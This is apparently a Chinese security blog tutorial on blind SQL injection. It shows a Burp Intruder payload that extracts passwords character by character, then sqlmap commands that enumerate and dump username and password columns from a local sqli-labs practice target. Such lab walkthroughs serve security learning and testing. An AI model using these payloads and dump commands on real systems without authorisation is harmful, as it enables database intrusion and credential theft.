当前位置:网站首页>【工具跑SQL盲注】
【工具跑SQL盲注】
2022-07-03 04:33:00 【黑色地带(崛起)】
目录
一、(工具)burp跑盲注
1.1、方法一:爆破
抓包之后,将请求发送到"Intruder"模块
设置2个有效载荷
1.2、方法二:注入语句爆破
注入构造语句,进行迭代操作
(select case when '§0§' = lower(substring((select password from employees where empid=1),§1§,1)) then 1 else 0 end)
二、(工具)sqlmap跑布尔盲注
2.1、命令:
-u 指定注入点
--dbs 跑库 名
--tables 跑表 名
--columns 跑字段 名
--dump 枚举数据
跑出对应的后,依次加上-D 指定库 -T 指定表 -C 指定字段
2.2、利用过程:
第一步:检测是否存在注入
基础操作
python sqlmap.py http://localhost:8080/sqli-labs-master/Less-5/?id=1 --batch
--batch是使用默认设置
其实环境都扫出来了
就可以再加上--dbms mysql了
第二步:爆数据库名
命令
#获取全部数据库
sqlmap.py -u url --dbs --batch
---------
#获取当前数据库
sqlmap.py -u url --current-dbs --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --dbs --batch
第三步:爆数据库表名
命令
python sqlmap.py -u url -D DB --tables --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch
第四步:爆字段名
命令:
sqlmap.py -u url -D DB -T TBL --columns --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch
第五步:爆数据
命令:
sqlmap.py -u url -D DB -T TBL -C "COL1,COL2" --dump --batch
基础操作:
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch
三、推荐
边栏推荐
- Drf--- quick start 01
- Preliminary cognition of C language pointer
- 消息队列(MQ)介绍
- BMZCTF simple_ pop
- The simple problem of leetcode: dismantling bombs
- Some information about the developer environment in Chengdu
- After reviewing MySQL for a month, I was stunned when the interviewer of Alibaba asked me
- Truncated sentences of leetcode simple questions
- Factor stock selection scoring model
- MongoDB 慢查询语句优化分析策略
猜你喜欢

2022 P cylinder filling test content and P cylinder filling simulation test questions

Triangular rasterization

使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver

After job hopping at the end of the year, I interviewed more than 30 companies in two weeks and finally landed

When using the benchmarksql tool to test the concurrency of kingbasees, there are sub threads that are not closed in time after the main process is killed successfully

JVM原理简介

4 years of experience to interview test development, 10 minutes to end, ask too

2022 registration examination for safety production management personnel of hazardous chemical production units and examination skills for safety production management personnel of hazardous chemical

Data Lake three swordsmen -- comparative analysis of delta, Hudi and iceberg
![[pat (basic level) practice] - [simple simulation] 1063 calculate the spectral radius](/img/01/c118725f74e39742df021b5dbcc33b.jpg)
[pat (basic level) practice] - [simple simulation] 1063 calculate the spectral radius
随机推荐
AWS VPC
Dive into deep learning - 2.1 data operation & Exercise
FISCO bcos zero knowledge proof Fiat Shamir instance source code
JS multidimensional array to one-dimensional array
有道云笔记
Contents of welder (primary) examination and welder (primary) examination in 2022
Kingbasees plug-in KDB of Jincang database_ date_ function
使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver
540. Single element in ordered array
arthas watch 抓取入参的某个字段/属性
2.14 summary
RSRS index timing and large and small disc rotation
FuncS sh file not found when using the benchmarksql tool to test kingbases
MC Layer Target
Factor stock selection scoring model
[PCL self study: filtering] introduction and use of various filters in PCL (continuously updated)
What functions need to be set after the mall system is built
Kingbasees plug-in KDB of Jincang database_ database_ link
Priv app permission exception
C language series - Section 3 - functions












